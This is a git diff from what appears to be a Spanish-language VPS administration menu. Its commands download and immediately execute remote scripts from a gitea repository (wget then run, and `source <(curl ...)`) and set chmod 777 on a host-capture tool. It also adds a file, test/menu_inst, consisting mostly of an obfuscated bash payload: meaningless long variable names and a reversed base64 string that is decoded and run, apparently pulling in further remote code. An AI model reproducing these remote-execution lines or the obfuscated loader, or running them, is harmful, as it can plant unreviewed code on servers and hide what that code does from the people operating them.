+ wget -O /usr/games/serv https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/server.sh &> /dev/null + chmod +x /usr/games/serv + /usr/games/serv + else + /usr/games/serv + fi +} + +gen-payloads(){ +source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/ferramentas/gen-pays.sh) +enter +} + +function_17 () { +echo -e " ESTAS SEGURO DE REINICIAR TU SERVIDOR VPS" +read -p " [S/N]: " -e -i n sshsn +[[ "$sshsn" = @(s|S|y|Y) ]] && { +msg -bar +echo -e "\033[1;36m EJECUTANDO REINICIO" +sleep 3s +msg -bar +echo -e "\033[1;36m OK" +sleep 1s +sudo reboot +} +} + +if [[ -z $1 ]]; then + while true; do + start_menu + selection=$(selection_fun 19) + case ${selection} in + 0)break;; + 1)block_torrent&&enter;; + 2)fix_vultr&&enter;; + 3)badUDP&&enter;; + 4)tcp_BBR&&enter;; + 5)fail_ban&&enter;; + 6)function_10&&enter;; + 7)testing_test&&enter;; + 8)online_url&&enter;; + #9)criar_pay&&enter;; + 9)gen-payloads&&enter;; + 10)msg -bar + echo -ne "\033[1;33m HOST: \033[1;37m"; read hostcaptura + echo -ne "\033[1;33m LIMITE DE CAPTURA: \033[1;37m"; read limitecaptura + chmod 777 ./ultrahost + /etc/adm-lite/ultrahost "${hostcaptura}" "${limitecaptura}" + enter;; + 11)t_master&&enter;; + 12)function_17&&enter;; + esac + done +/etc/adm-lite/menu +else + case $1 in + --block-torrent | --block-t) + block_torrent&&enter;; + --fix-vult | --vultr )fix_vultr&&enter;; + --badvpn | --budp )badUDP&&enter;; + --tcp )tcp_BBR&&enter;; + --fban | --fail-ban)fail_ban&&enter;; + --info-vps | --info)function_10&&enter;; + --speed-test | --test)testing_test&&enter;; + --server-web | --server)online_url&&enter;; + #--payload)criar_pay&&enter;; + --payload)gen-payloads&&enter;; + --ultrahost)msg -bar + echo -ne "\033[1;33m HOST: \033[1;37m"; read hostcaptura + echo -ne "\033[1;33m LIMITE DE CAPTURA: \033[1;37m"; read limitecaptura + chmod 777 ./ultrahost + /etc/adm-lite/ultrahost "${hostcaptura}" "${limitecaptura}" + enter;; + --toolmaster)t_master&&enter;; + --reiniciar-vps | --reboot)function_17&&enter;; + esac +fi diff --git a/test/menu_credito b/test/menu_credito new file mode 100644 index 0000000..e5100c2 --- /dev/null +++ b/test/menu_credito @@ -0,0 +1 @@ +✧ | ᴅʀᴏᴡᴋɪᴅ | ✧ diff --git a/test/menu_inst b/test/menu_inst new file mode 100755 index 0000000..be3a1d2 --- /dev/null +++ b/test/menu_inst @@ -0,0 +1,2 @@ +#!/bin/bash +SQggvyPuvMFPrHRXPlBYAvunUBUFvDGkOIHEjYTSlUtLfWMVYhMJQNjxGUqTOGSQoapNYvPAwNSioPZVvGoINVGzjkTRgotgLqLq="CNcVtQojEiyfiZSCtvaToSODyhzFWzfHGlppwnvxRlnQBRtcTqHtyrwECAWbyfyuVTDHVTteyRaIyQVUGoPVRyEZunoRdQyLGeoJ";JmETQzEnmrrbtBFSXyOlSekfkjZaNAYrGkkEwsJXuPBGuXtJhnYYDmCwqQdEIhWZuopytxbYQcKqSUxXTeQLWFxsdkVbLRGWXbps="EUyeDYomfpIeWCnmContRgztklhSchJdmFzxbtHOoqJPNsntmKldEormxHzDOIjqhwDphZvznekmwlRDJhWMVnsxxwfEqEwebMdt";JYxlvVPqnfoYrEEQzxgbzadIqdrBYxhlSAbajKXGVgDvXYmufunMwYCCrIBODKUkKIyZnJAfnPoZThvKGZiqLcWQqUfTBDwWwdMB="ch";QCouyGEOijpdOgSHxhCbElsEUvrDqkIYpYgzhGFKfusOaNkTynSRZTljBLHowsRnvgpyZHFhqnRzIUnxgnxtsCxJTAtypfusWFdd="4";YcQQsgefwoaMBQIfQKRGTlragXOuHoeVowRefoqttQytLbsFXFhKHpgTdayZXJhtTSPBVeRXzamXRZvBFGsNPqHimHrqimyNyyvV="";urOrKMSnsgGtzXDsLjznFFcfbyYfEnNDorIKezVTHJcqaMkROzozrDcbPAKJEwZoFXXIQHHZImJLzmJQxbRACWHxKIirvlDSuyfB="TCAjHobAdjbNhnkLWtXxNKuhiQYgfrmICEmAFxDYoWDLigwxKrizBnyYPpjQAwCysGEHGhNdTfQFsebumbSykuLiwJFLaMpBaXTK";NSKPhwJPMTpegFIbGURbhFnLwVkgjsQTnsrzyJcPlSjwvsxFdiUlgFTCpjOILsVIbyrLqGYcwUiqhKLpNITBZeVsYUqpCPjaEmwG=" =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